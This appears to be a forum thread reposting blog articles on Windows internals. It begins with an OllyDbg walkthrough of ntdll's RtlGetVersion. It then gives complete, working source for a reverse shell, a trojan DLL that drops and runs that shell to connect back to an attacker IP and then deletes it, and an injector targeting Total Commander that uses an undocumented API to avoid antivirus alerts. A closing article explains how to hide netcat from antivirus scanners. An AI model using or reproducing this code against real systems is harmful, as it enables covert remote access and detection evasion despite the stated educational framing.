mov eax,dword ptr [edi+000000A4h] 7DEA85B5: 89 46 04 mov dword ptr [esi+4],eax 7DEA85B8: 8B 87 A8 00 00 00 mov eax,dword ptr [edi+000000A8h] 7DEA85BE: 89 46 08 mov dword ptr [esi+8],eax 7DEA85C1: 0F B7 87 AC 00 00 movzx eax,word ptr [edi+000000ACh] 00 7DEA85C8: 89 46 0C mov dword ptr [esi+0Ch],eax 7DEA85CB: 8B 87 B0 00 00 00 mov eax,dword ptr [edi+000000B0h] 7DEA85D1: 89 46 10 mov dword ptr [esi+10h],eax 7DEA85D4: 8B 87 F4 01 00 00 mov eax,dword ptr [edi+000001F4h] 7DEA85DA: 85 C0 test eax,eax 7DEA85DC: 74 0A je 7DEA85E8 7DEA85DE: 66 83 38 00 cmp word ptr [eax],0 7DEA85E2: 0F 85 BB 78 05 00 jne 7DEFFEA3 7DEA85E8: 33 C0 xor eax,eax 7DEA85EA: 66 89 46 14 mov word ptr [esi+14h],ax 7DEA85EE: 81 3E 1C 01 00 00 cmp dword ptr [esi],11Ch 7DEA85F4: 75 5E jne 7DEA8654 7DEA85F6: 66 0F B6 87 AF 00 movzx ax,byte ptr [edi+000000AFh] 00 00 7DEA85FE: 66 89 86 14 01 00 mov word ptr [esi+00000114h],ax 00 7DEA8605: 66 8B 87 AE 00 00 mov ax,word ptr [edi+000000AEh] 00 7DEA860C: B9 FF 00 00 00 mov ecx,0FFh 7DEA8611: 66 23 C1 and ax,cx 7DEA8614: 66 89 86 16 01 00 mov word ptr [esi+00000116h],ax 00 7DEA861B: 66 A1 D0 02 FE 7F mov ax,word ptr ds:[7FFE02D0h] 7DEA8621: 66 89 86 18 01 00 mov word ptr [esi+00000118h],ax 00 7DEA8628: 8D 45 FC lea eax,[ebp-4] 7DEA862B: 8D BE 1A 01 00 00 lea edi,[esi+0000011Ah] 7DEA8631: 50 push eax 7DEA8632: C6 07 00 mov byte ptr [edi],0 7DEA8635: E8 28 00 00 00 call 7DEA8662 7DEA863A: 84 C0 test al,al 7DEA863C: 74 16 je 7DEA8654 7DEA863E: 8B 45 FC mov eax,dword line ptr [ebp-4] 7DEA8641: 88 07 mov byte ptr [edi],al 7DEA8643: 83 F8 01 cmp eax,1 7DEA8646: 75 0C jne 7DEA8654 7DEA8648: B8 EF FF 00 00 mov eax,0FFEFh 7DEA864D: 66 21 86 18 01 00 and word ptr [esi+00000118h],ax 00 7DEA8654: 5F pop edi 7DEA8655: 5E pop esi 7DEA8656: 33 C0 xor eax,eax 7DEA8658: 5B pop ebx 7DEA8659: C9 leave 7DEA865A: C2 04 00 ret 4 I present this code just for the shake of knowledge and I am not to go in a line by line explanation as I promised. I am going to do something more practical: I will execute the above code using Olly debugger and I will examine the results. Ok, it sounds interesting, but how can I call the specific function that is inside a DLL? With Olly this is easy. Before I start, I want to check the documentation of this function. Indeed here is the documentation that microsoft provides. The RtlGetVersion routine returns version information about the currently running operating system. Syntax NTSTATUS RtlGetVersion( __out PRTL_OSVERSIONINFOW lpVersionInformation ); Parameters lpVersionInformation [out] Pointer to either a RTL_OSVERSIONINFOW structure or a RTL_OSVERSIONINFOEXW structure that contains the version information about the currently running operating system. A caller specifies which input structure is used by setting the dwOSVersionInfoSize member of the structure to the size in bytes of the structure that is used. Return Value RtlGetVersion returns STATUS_SUCCESS. Remarks RtlGetVersion is the kernel-mode equivalent of the user-mode GetVersionEx function in the Windows SDK. See the example in the Windows SDK that shows how to get the system version. As we can see, this function has no input arguments and once it is called returns its results to the structure RTL_OSVERSIONINFOW. The definition in this structure is here. dwOSVersionInfoSize Specifies the size in bytes of an RTL_OSVERSIONINFOW structure. This member must be set before the structure is used with RtlGetVersion. dwMajorVersion Identifies the major version number of the operating system. For example, for Windows 2000, the major version number is five. dwMinorVersion Identifies the minor version number of the operating system. For example, for Windows 2000 the minor version number is zero. dwBuildNumber Identifies the build number of the operating system. dwPlatformId Identifies the operating system platform. For Microsoft Win32 on NT-based operating systems, RtlGetVersion returns the value VER_PLATFORM_WIN32_NT. szCSDVersion Contains a null-terminated string, such as "Service Pack 3", which indicates the latest Service Pack installed on the system. If no Service Pack has been installed, the string is empty. Ok, now I know what I expect as a result: The structure RTL_OSVERSIONINFOW. Now, I just return to my initial goal: To execute the function via Olly. Because we are talking about a DLL (and to about an executable) I will do the following: After loading the DLL in Olly I will go to the address where my function is located and I will put there a new origin point, as you can see in the next image. Image 3: The new origin point is the address of RtlGetVersion. Note that the address of RtlGetVersion is not the same of what I get from the hexdump output. This is not odd and can be explained by the fact that the Base Address in each case is different. After setting my new origin, I put a break point at address 776D859A and I am now ready to press RUN to meet this breakpoint and then I will go line by line (by pressing F10) examining the function execution and the registers values. In addition, in order to check the results in a more reliable way, I will do the following: I will execute from command line the "winver" system command in order to check (according to Microsoft documentation) the values. The winver command gives me the following: Image 4: The output of the winver command. Note the string "Version 6.1 (Build 7600)". I must see the same result after executing the function RtlGetVersion. Below there is an analysis of the code that I get from Olly with my remarks for the registers values I get. I suppose that the remarks are descriptive enough so no more are necessary. 776D859A > 8BFF MOV EDI,EDI | 776D859C 55 PUSH EBP | Standard function prologue 776D859D 8BEC MOV EBP,ESP | 776D859F 51 PUSH ECX 776D85A0 64:A1 18000000 MOV EAX,DWORD PTR FS:[18] ====>> return the TEB (Thread Entry Block) address 776D85A6 53 PUSH EBX 776D85A7 56 PUSH ESI 776D85A8 8B75 08 MOV ESI,DWORD PTR SS:[EBP+8] ====>> return the PEB (Process Entry Block) address 776D85AB 57 PUSH EDI 776D85AC 8B78 30 MOV EDI,DWORD PTR DS:[EAX+30] 776D85AF 8B87 A4000000 MOV EAX,DWORD PTR DS:[EDI+A4] ===>> eax=6 (MajorVersion) 776D85B5 8946 04 MOV DWORD PTR DS:[ESI+4],EAX 776D85B8 8B87 A8000000 MOV EAX,DWORD PTR DS:[EDI+A8] ===>> eax=1 (MinorVersion) 776D85BE 8946 08 MOV DWORD PTR DS:[ESI+8],EAX 776D85C1 0FB787 AC000000 MOVZX EAX,WORD PTR DS:[EDI+AC] ===>> eax=00001DB0 i.e. 7600 (BuildNumber) MOV with zero eXtended 776D85C8 8946 0C MOV DWORD PTR DS:[ESI+C],EAX 776D85CB 8B87 B0000000 MOV EAX,DWORD PTR DS:[EDI+B0] ===>> eax=2 (platformID) 776D85D1 8946 10 MOV DWORD PTR DS:[ESI+10],EAX 776D85D4 8B87 F4010000 MOV EAX,DWORD PTR DS:[EDI+1F4] 776D85DA 85C0 TEST EAX,EAX 776D85DC 74 0A JE SHORT ntdll.776D85E8 776D85DE 66:8338 00 CMP WORD PTR DS:[EAX],0 776D85E2 0F85 BB780500 JNZ ntdll.7772FEA3 776D85E8 33C0 XOR EAX,EAX 776D85EA 66:8946 14 MOV WORD PTR DS:[ESI+14],AX 776D85EE 813E 1C010000 CMP DWORD PTR DS:[ESI],11C 776D85F4 75 5E JNZ SHORT ntdll.776D8654 776D85F6 66:0FB687 AF0000>MOVZX AX,BYTE PTR DS:[EDI+AF] 776D85FE 66:8986 14010000 MOV WORD PTR DS:[ESI+114],AX 776D8605 66:8B87 AE000000 MOV AX,WORD PTR DS:[EDI+AE] 776D860C B9 FF000000 MOV ECX,0FF 776D8611 66:23C1 AND AX,CX 776D8614 66:8986 16010000 MOV WORD PTR DS:[ESI+116],AX 776D861B 66:A1 D002FE7F MOV AX,WORD PTR DS:[7FFE02D0] 776D8621 66:8986 18010000 MOV WORD PTR DS:[ESI+118],AX 776D8628 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4] 776D862B 8DBE 1A010000 LEA EDI,DWORD PTR DS:[ESI+11A] 776D8631 50 PUSH EAX 776D8632 C607 00 MOV BYTE PTR DS:[EDI],0 776D8635 E8 28000000 CALL ntdll.RtlGetNtProductType 776D863A 84C0 TEST AL,AL 776D863C 74 16 JE SHORT ntdll.776D8654 776D863E 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 776D8641 8807 MOV BYTE PTR DS:[EDI],AL 776D8643 83F8 01 CMP EAX,1 776D8646 75 0C JNZ SHORT ntdll.776D8654 776D8648 B8 EFFF0000 MOV EAX,0FFEF 776D864D 66:2186 18010000 AND WORD PTR DS:[ESI+118],AX 776D8654 5F POP EDI 776D8655 5E POP ESI 776D8656 33C0 XOR EAX,EAX 776D8658 5B POP EBX 776D8659 C9 LEAVE 776D865A C2 0400 RETN 4 Very well. As you can see, I get the same results. There is another thing that I would like to point out: Pay attention at address 776D8635. In this address a function is called: the RtlGetNtProductType. This RtlGetNtProductType is probably internal and... undocumented. More about undocumented functions we will discuss in a later article... We achive the following, so far: 1. We see which functions exist inside the ntdll.dll. 2. We select and examine one of them. 3. We execute it and we get its result line by line by examining its source (disassembly) code. Be carefull when you mess around with native API functions. If something goes wrong it is very possible to freeze your system. REMARK: Until now we examine functions with 'Rtl' as prefix. Microsoft choose this naming convention for its internal functions. Rtl means RunTime Library. In addition, inside ntdll we will see another prefix: the Zw. Functions with this prefix make direct calls to the kernel. In general, you must know that the naming convetion used by Microsoft following the formula: <Prefix><Operation><Object> What remains to be done is a program in C language that will direct call this function from the native API. This program could be used as a base for more advanced... checks, using even undocumented functions If you search the internet you will not find many sources of how to call RtlGetVersion direct from Native API. So, I suppose that this code could put a small brick to cover this gap. The program is in C++ in Visual Studio 2010. /////////////////////////////////////////////////////////////////////// // Kernel01.cpp : Call the RtlGetVersion from native API // © by Thiseas 2011 for www.p0wnbox.com // #include "stdafx.h" #include <Windows.h> typedef void (WINAPI *pwinapi)(PRTL_OSVERSIONINFOW); //http://www.osronline.com/ddkx/kmarch/k109_452q.htm int _tmain(int argc, _TCHAR* argv[]) { RTL_OSVERSIONINFOW info; pwinapi p_pwinapi; ZeroMemory(&info, sizeof(RTL_OSVERSIONINFOW)); p_pwinapi = (pwinapi) GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "RtlGetVersion"); p_pwinapi(&info); return(0); } There is no need to spend more bytes for comments. Please try this by yourself... Debug and disassemble this little program and repeat the procedure that we just describe above. I will promise you that you will be disappointed... Happy Reversing! Posted by Andreas Venieris at 12:50 AM Sursa: 0x191 Unauthorized: Debugging the Native Windows API
  16. [h=3]Reverse shell through DLL Injection using undocumented API function[/h]This article refers to people who already know how to program in c or c++ and have a basic knowledge of windows API calls. In addition some knowledge of exploitation techniques is needed such as what is a reverse shell, how we can use netcat etc... If this is the first time for you to read such things then do not bother to read the article. DLL Injection is a popular technique used by attackers to inject an executable in order to perform controlled code execution. Serveral methods for preventing this has been developed by OS creators, but w/o 100% success. In this article I will present two methods of a successful attack to a windows 7 Ultimate OS that returns a reverse shell to the attacker. The first method uses the documented windows API function CreateRemoteThread and the second method uses the undocumented funNtCreateThreadEx. The reason that I prefer the 2nd method is because of the fact that the 1st method trigger an alarm of the windows security essentials antivirus while the 2nd does not! In addition, a "home made" undetectable reverse shell (developed in c++) will be used in conjuction with a method of transferring or packing an executable inside another executable. The final attack will be performed using two methods. The traditional (manual) method that I use only Netcat and the... "official" method that I use the well known Armitage of the Metasploit arsenal. Pictures of the attack will be available to you as well as a short video. Before we start I would like to clarify that this is not a "How to invade" tutorial neither a method of how to install a Trojan to a victim's box. It is exactly what its title states: A method of calling a Reverse shell through DLL Injection using undocumented API in windows 7. Nothing more and nothing less. If you feel immature enough to get this method to harm others' computers then the blame is not mine but in your mind This is for educational purposes only. The Early Steps In order to perform such attack we need first to decide which executable program we want to inject. In my example I will inject the Total Commander, the programmers favorite windows manager (and not only!). Injecting Total Commander means that when the user starts this program I will immediately get a shell in my PC (locally or remotely) with the same privileges as the injected program itself. To be specific, the method is like this: The method 1. Check if 'Total Commander' is running. 2. If it is running inject it, and return a reverse shell to a specific IP while continue running Total Commander. 3. If 'Total Commander' is not running goto 1. My approach will use three programs: 1. totalcmd.exe (Total Commander): is the program that will trigger the whole attack. 2. myDLL.DLL: Is the DLL that will be used as a trojan horse. It will 'carry' the reverse shell. One of its main responsibilities is when DLL_PROCESS_ATTACH occurs it will unpack the reverse shell to disk and execute it. 3. dllattack08.exe: Is the program that when executed it will remain on memory waiting to perform the above 3 steps of The Method. [h=2]Step 1: Creating the reverse shell.[/h]I will present here my source code of my reverse shell. The code is the following: /* AJVrs.c Reverse shell in win32 (c) by thiseas 2010 Compile with VS 2008 from command line with cl: C:> cl AJVrs.c ***************************************************************/ #include <winsock2.h> #include <stdio.h> #pragma comment(lib, "Ws2_32.lib") //Inform the linker that the Ws2_32.lib file is needed. #define DEFAULT_PORT 1234 #define DEFAULT_IP "192.168.1.70" WSADATA wsaData; SOCKET Winsocket; STARTUPINFO theProcess; PROCESS_INFORMATION info_proc; struct sockaddr_in Winsocket_Structure; int main(int argc, char *argv[]) { char *IP = DEFAULT_IP; short port = DEFAULT_PORT; if (argc == 3){ strncpy(IP,argv[1],16); port = atoi(argv[2]); } WSAStartup(MAKEWORD(2,2), &wsaData); Winsocket=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL, (unsigned int) NULL, (unsigned int) NULL); Winsocket_Structure.sin_port=htons(port); Winsocket_Structure.sin_family=AF_INET; Winsocket_Structure.sin_addr.s_addr=inet_addr(IP); if(Winsocket==INVALID_SOCKET) { WSACleanup(); return 1; } if(WSAConnect(Winsocket,(SOCKADDR*)&Winsocket_Structure,sizeof(Winsocket_Structure),NULL,NULL,NULL,NULL) == SOCKET_ERROR) { WSACleanup(); return 1; } // Starting shell by creating a new process with i/o redirection. memset(&theProcess,0,sizeof(theProcess)); theProcess.cb=sizeof(theProcess); theProcess.dwFlags=STARTF_USESTDHANDLES; // here we make the redirection theProcess.hStdInput = theProcess.hStdOutput = theProcess.hStdError = (HANDLE)Winsocket; // fork the new process. if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&theProcess,&info_proc)==0) { WSACleanup(); return 1; } return 0; } As you can see the code is self explanatory and I am not going into details on it because this is not a programming tutorial. The above program can be used as is, instead of netcat or in conjuction with it. Usage: On attacker box run Necat to listen for a connection: on fedora : nc -l 1234 on other linux dist : nc -v -l -p 1234 on win box : nc -v -l -p 1234 On victim's box, run my reverse shell: c:> AJVrs.exe <attackerIP> 1234 [h=2]Step 2: Store the executable code of the reverse shell inside a program.[/h]We will keep the executable code inside the DLL (that we are going to use later) in order to be executed when it is needed (I will explain how later). We are actually get the byte code of the shell and put it inside to another program. The problem here is how to get the byte code and put it to another program source. There many methods to do this. I test one that i thouhgt it will worked (and it does worked!). I am almost sure that this method has been used by other ppl, but I did not bother to search for this. The goal is to store the whole executable inside a byte array and then write this byte array to disk. The new file that will be created will be a normal PE executable! I open my reverse shell executable AJVrs.exe using my favorite ultraEdit editor (which is hex editor too). Select all, Right Click and choose Hex Copy Selected View. Then, Right Click and Copy. Paste the select code in a new file. Turn to Column Selection (Alt+C) and select all the byte code. Then Right Click and Copy. I put the selected bytes to a new file and I change them as the following example: from ... 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 ... to ... \x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00 ... The above task can be easy if we replace every space " " with "\x". But again we will loose the 1st characters on each line. So it is wise if first we move all the text one position on the right: Example from: 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 to: 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 Just to make one space... But again, I am not finished. I must put every line in double quotes: Using the column mode (Alt+C) I can easily enclose each line with " in order to meet my final goal which is: "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00" "\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD0\x00\x00\x00" "\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68" .... Ok... that's it. I save this file to disk using the name MyTempByteCode.txt [h=2]Step 3: Creating the DLL.[/h]Its time to create my DLL now. It is the DLL that will be used as a trojan horse. It will carry the reverse shell inside it. One of its main responsibilities is when DLL_PROCESS_ATTACH occurs it will unpack the reverse shell to disk and execute it. I created using C++ in Microsoft Visual Studio 2008. The source code is: #include<stdio.h> #include <windows.h> // In recerseshell I just put contents of the file MyTempByteCode.txt char recerseshell[] = "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00" "\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD0\x00\x00\x00" "\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68" "\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F" ... ... "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; BOOL WINAPI DllMain(HANDLE hinstance, DWORD dwReason, LPVOID lpReserved) { switch(dwReason) { case DLL_PROCESS_ATTACH: int i, len = sizeof(recerseshell); FILE *ptr ; ptr = fopen("\\DLLInjection\\DirtyShell.exe", "wb"); for (i=0; i<len; i++) fprintf(ptr, "%c",recerseshell[i]); fclose(ptr); Sleep(1000); WinExec("\\DLLInjection\\DirtyShell.exe 192.168.57.147 6666", SW_HIDE); Sleep(1000); WinExec("cmd /c ""del \\DLLInjection\\DirtyShell.exe"" ", SW_HIDE); } } Again the source code is self explanatory: When the dll attach process is met, I write the reverse byte code to a file, I execute it (in order to open the reverse shell) and I delete it from the disk in order to hide my tracks. [h=2]Step 4: Performing the injection.[/h]Now I need a program to handle or better to trigger the above dll. This is my 3nd program dllattack08.exe: It is the program that will perform the actual injection to 'Total Commander' using two methods (as I promised). The documented API and the undocumented API (the stealth one!). I create the program using C++ VS 2008 (again). The source code is the following: #include <windows.h> #include <TlHelp32.h> #include <shlwapi.h> // Add Lib: Shlwapi.lib #include <stdio.h> typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx) ( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN LPVOID ObjectAttributes, IN HANDLE ProcessHandle, IN LPTHREAD_START_ROUTINE lpStartAddress, IN LPVOID lpParameter, IN BOOL CreateSuspended, IN ULONG StackZeroBits, IN ULONG SizeOfStackCommit, IN ULONG SizeOfStackReserve, OUT LPVOID lpBytesBuffer ); //Buffer argument passed to NtCreateThreadEx function struct NtCreateThreadExBuffer { ULONG Size; ULONG Unknown1; ULONG Unknown2; PULONG Unknown3; ULONG Unknown4; ULONG Unknown5; ULONG Unknown6; PULONG Unknown7; ULONG Unknown8; }; HANDLE GetProcessHandle(LPCWSTR szExeName, DWORD *ProcessID) { PROCESSENTRY32 Pc = { sizeof(PROCESSENTRY32) } ; HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0); if(Process32First(hSnapshot, &Pc)){ do{ if(StrStrI(Pc.szExeFile, szExeName)) { *ProcessID = Pc.th32ProcessID; return OpenProcess(PROCESS_ALL_ACCESS, TRUE, Pc.th32ProcessID); } }while(Process32Next(hSnapshot, &Pc)); } return NULL; } BOOL DllInject(HANDLE hProcess, LPSTR lpszDllPath) { Sleep(2000); HMODULE hmKernel = GetModuleHandle(L"Kernel32");//heres the DLL if(hmKernel == NULL || hProcess == NULL) return FALSE; int nPathLen = strlen(lpszDllPath); //MAX_PATH; // LPVOID lpvMem = VirtualAllocEx(hProcess, NULL, nPathLen, MEM_COMMIT, PAGE_READWRITE); if (lpvMem == NULL) return FALSE; if (!WriteProcessMemory(hProcess, lpvMem, lpszDllPath, nPathLen, NULL)) return FALSE; DWORD dwWaitResult= 0, dwExitResult = 0; HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(hmKernel, "LoadLibraryA"), lpvMem, 0, NULL); if(hThread != NULL){ dwWaitResult = WaitForSingleObject(hThread, 10000); // keep the dll injection action for 10 seconds before free. GetExitCodeThread(hThread, &dwExitResult); CloseHandle(hThread); VirtualFreeEx(hProcess, lpvMem, 0, MEM_RELEASE); return (1); } else{ return (0); } } BOOL DllInject_2(HANDLE hProcess, LPSTR lpszDllPath) { Sleep(2000); HMODULE hmKernel = GetModuleHandle(L"Kernel32");//heres the DLL if(hmKernel == NULL || hProcess == NULL) return FALSE; int nPathLen = strlen(lpszDllPath); //MAX_PATH; // LPVOID lpvMem = VirtualAllocEx(hProcess, NULL, nPathLen, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, lpvMem, lpszDllPath, nPathLen, NULL); DWORD dwWaitResult, dwExitResult = 0; HMODULE modNtDll = GetModuleHandle(L"ntdll.dll"); if( !modNtDll ) { //printf("\n failed to get module handle for ntdll.dll, Error=0x%.8x", GetLastError()); return 0; } LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx) GetProcAddress(modNtDll, "NtCreateThreadEx"); if( !funNtCreateThreadEx ) { //printf("\n failed to get funtion address from ntdll.dll, Error=0x%.8x", GetLastError()); return 0; } NtCreateThreadExBuffer ntbuffer; memset (&ntbuffer,0,sizeof(NtCreateThreadExBuffer)); DWORD temp1 = 0; DWORD temp2 = 0; ntbuffer.Size = sizeof(NtCreateThreadExBuffer); ntbuffer.Unknown1 = 0x10003; ntbuffer.Unknown2 = 0x8; ntbuffer.Unknown3 = 0;//&temp2; ntbuffer.Unknown4 = 0; ntbuffer.Unknown5 = 0x10004; ntbuffer.Unknown6 = 4; ntbuffer.Unknown7 = &temp1; ntbuffer.Unknown8 = 0; HANDLE hThread; NTSTATUS status = funNtCreateThreadEx( &hThread, 0x1FFFFF, NULL, hProcess, (LPTHREAD_START_ROUTINE)GetProcAddress(hmKernel, "LoadLibraryA"), lpvMem, FALSE, //start instantly NULL, NULL, NULL, &ntbuffer ); if(hThread != NULL){ // keep the dll injection action for 10 seconds before free. dwWaitResult = WaitForSingleObject(hThread, 10000); GetExitCodeThread(hThread, &dwExitResult); CloseHandle(hThread); VirtualFreeEx(hProcess, lpvMem, 0, MEM_RELEASE); return (1); } else{ return (0); } } int ActivateSeDebugPrivilege(void){ HANDLE hToken; LUID Val; TOKEN_PRIVILEGES tp; if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return(GetLastError()); if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Val)) return(GetLastError()); tp.PrivilegeCount = 1; tp.Privileges[0].Luid = Val; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof (tp), NULL, NULL)) return(GetLastError()); CloseHandle(hToken); return 1; } int main(int argc, char *argv[]) { DWORD CurrentSessionID, RemoteSessionID, RemoteProcessID; LPCWSTR lpVictimProcess = TEXT("totalcmd.exe"); char *cpVictimProcess = "totalcmd.exe"; printf("DLL Injection.\n"); if ( ActivateSeDebugPrivilege() == 1) printf("Get All Privilege.\n"); else printf("Cannot Get All Privilege.\n"); printf("Waiting for process %s...",cpVictimProcess); HANDLE hProcess; do{ hProcess = GetProcessHandle(lpVictimProcess, &RemoteProcessID); Sleep(1); }while(hProcess == NULL); printf("\nFound! Try to inject..."); // Get the session ID of the remote process. //DWORD RemoteSessionID = ProcessIdToSessionId( hProcess ); if (!ProcessIdToSessionId( GetCurrentProcessId(), &CurrentSessionID )) { printf("\nFailed to get the current session with error %d", GetLastError()); } if (!ProcessIdToSessionId( RemoteProcessID, &RemoteSessionID )) { printf("\nFailed to get the remote session with error %d", GetLastError()); } if (DllInject(hProcess, "\\DLLInjection\\myDLL.dll")) printf("\nSUCCESSFUL!\n"); else printf("\nFailed!\n"); return 0; } I suppose that some things need clarification here: The function that perform the actuall DLL injection using the documented API CreateRemoteThread is: DllInject(hProcess, "\\DLLInjection\\myDLL.dll") The function takes 2 arguments: The process handle of the program that is going to be injected and the actual DLL flename that will be attached to the injected executable. As you can see this is "open" enough to accept anything you like... Another interesting topic is the use of the SeDebugPrivilege function as an effort to obtain as many priviledges as possible. Microsoft states that: "By setting the SeDebugPrivilege privilege on the running process, you can obtain the process handle of any running application. When obtaining the handle to a process, you can then specify the PROCESS_ALL_ACCESS flag, which will allow the calling of various Win32 APIs upon that process handle, which you normally could not do." ( http://support.microsoft.com/kb/185215 ) This is interesting indeed, huh? To be honest, I suppose that the above is not 100% true for windows 7, but you never know. It was worth a try... anyway. An important drawback of this method is that it triggers the Microsoft Security Essentials Antivirus. I found that the cause of the alarm is the use of the API CreateRemoteThread inside the DllInject function. So, I replace this function with a new but... undocumented one! To explain how we find and analyse undocumented Windows API functions is another (indeed challenging) story that I 'll explain in another article. The documented API is impleneted in the DllInject_2 function. The only change to the code in order to call this API is to replace the 7th line from the bottom of the above source code: from if (DllInject(hProcess, "\\DLLInjection\\myDLL.dll")) to if (DllInject_2(hProcess, "\\DLLInjection\\myDLL.dll")) and that’s it. You become stealth! [h=2]Attack using the manual way[/h]Below is an example of the attack using the manual (traditional) way: Attack using Metasploit Armitage Metasploit [http://www.metasploit.com/] is a professional tool for pen testers and not only. Armitage [http://www.fastandeasyhacking.com/] is a front-end (i can say) for metasploit. This tool can be use to perform the same attack. It can be used as client to listen to the port 6666 in order get my reverse shell. Take a look here: and One of the interesting thing here is that any reverse shell can be used. You can (for example) create an encrypted one using metasploit, get its binary code, put it in my DLL and perform the attack. The method and the code is open enough to support such techniques. [h=2]Sample Videos of attacks[/h] [1]. Case I: Total Commander is already open http://rapidshare.com/files/454308917/Dll-Inject-Attack-Video.rar [2]. Case II: Total Commander is opened after the injection https://rapidshare.com/files/3697690472/Dll-Inject-Attack_II.rar Posted by Andreas Venieris at 10:08 PM Sursa: 0x191 Unauthorized: Reverse shell through DLL Injection using undocumented API function
  17. Antivirus Hiding There are a lot of choices when we want to pen test an application. We can create a specific program to do this. We can use an existing one. We can modify (or... fork) an existing. Maybe, the ideal is to create your own program for attack, but again, this, has some drawbacks: You don't have to reinvent the wheel. Deadlines and cost make such approach impossible. In addition, there are plenty of tools in the wild that can be easily used for an attack. Netcat is such a tool. The well know Swiss army knife. It is not easy to create such a program from scratch. We can use it for light pen tests but not for professional use (supposing that we following a black-box method) as many anti-viruses consider it as a threat. Is there is something we can do about it? Hmm, I suppose yes! There many ways to hide the program from an anti-virus. I will present two of them. But, before we start, we must say something about how anti-viruses recognize threats. Actually there many ways to do this, but a general rule (that is used in most of cases) is the following: Using an one-way hash function they encoded a known executable Malware file into a smaller but unique code and they store this code into its internal database. When we try to execute a program they transform our executable (using the same hash function) into a code and they check if this code exist in its database. If it exists they consider the executable as a threat and they block it. So, our goal is to change the executable (or some bytes of it) in such way that will produce a totally new hashed code that is not exists in anti-virus database. If we did this then our executable will not be considered as a legitimate program! Method 1, the easy one In this method we will change some bytes in the executable in order to hide it from an anti-virus. We must be very careful here because it is very easy to change the behavior of the executable or even worst to destroy it (make it impossible to run). The principle that is behind this approach is the following: Almost every program has in its code some software interrupts that used by debuggers to interrupt program execution. Software interrupts are useful to programmers when they need to put break points to pause execution at a specific address in order to review the code and/or data. With software interrupts this task can be done without overwriting programs code. But... we are not in a debugging status here. We don't need these interrupts. We can replace them with something else, with some... nothing: The NOP mnemonic! Lets be more specific: Software Interrupt represented by the assembly mnemonic INT 3 which is the CC instruction. NOP is represented by the 90 instruction. Thus, if we change every CC with 90 then we will have a totally different executable with exactly the same behavior. We can do this from simple hex editor. In my example I choose to use the very best windows editor ultraedit. I open the nc.exe with ultra edit in hex mode and I tried to find some CC instructions. The above CC instructions must be replaced by 90. To be honest I search for every triple of "CCCCCC" and I replace then with "909090". I save the file as "ncWithNOPs.exe". Now lets test our results. I will use the well known http://www.virustotal.com site to test the programs for Malware behaviour. First I check the original Netcat program (nc.exe): As we can see, this program is considering as a threat from 25 of 42 anti-virus programs (59.5% positive threat). Let's try my ncWithNOPs.exe to see what happens: This program is considering as a threat from 16 of 43 anti-virus programs (37.2% positive threat). Better results indeed, but not very impressive. We can conclude that this method is moderate but not good enough. It can be used when we would like to hide our program from specific anti-viruses. Method 2: Modifying the source code This method is more challenging but requires to have the source code and of course to know how to program! Ideal candidate for this method are all Open Source programs. Netcat is not an exception. Its source code that will be run on Windows can be found here. We can get the source code, modifying in such way that will produce a different executable with the same functionality. I used this method by making changes to the source code of Netcat without changing its actual behavior. The changes in source code I made was: 1. I change the name of any constant in the program (using global replace). 2. I change the name of any variable in the program (using global replace). 3. I change the name of any function in the program (using global replace). 4. I add more parameters to many functions that did nothing. 5. I change loops. For example I change While-loops to their For-loops equivalent. 6. I compile the program with no optimizations. This is because I wanted to keep all my "dummy" variables/parameters or loops intact. 7. I didn't use any packer in purpose. Many anti-viruses dislike them! Finally I recompile and test the program in order to check that retains its initial functionality. I rename the program to "test.exe" and I put it to the virus-total. The results were good: Only 1 (Nod32) of 43 anti-viruses was able to uncover the program, which is a 2.3% positive threat. Not bad huh? I am also sure that with some more modifications the final Netcat.exe would be totally invisible by any anti-virus. Remarks I will not provide you the final executable as 